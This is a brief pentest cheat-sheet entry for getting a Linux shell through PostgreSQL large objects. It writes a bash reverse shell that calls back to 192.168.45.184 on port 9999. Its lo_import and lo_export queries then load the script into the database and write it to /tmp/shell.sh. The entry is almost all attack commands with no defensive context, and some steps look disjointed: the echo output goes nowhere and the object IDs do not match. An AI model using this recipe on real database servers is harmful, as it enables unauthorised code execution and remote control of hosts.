1.1 PSQL Large Object Shell -linux

1```
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.45.184/9999 0>&1'

SELECT lo_import('/dev/stdin');

SELECT oid, lomowner, lomacl
FROM pg_largeobject_metadata;

SELECT loid, pageno, encode(data, 'hex') AS data_hex
FROM pg_largeobject
WHERE loid = 12345
ORDER BY pageno;

SELECT lo_export(oid, '/tmp/shell.sh')
FROM pg_largeobject_metadata
WHERE oid = 16503;

SELECT lo_export(12345, '/tmp/large_object_12345.bin');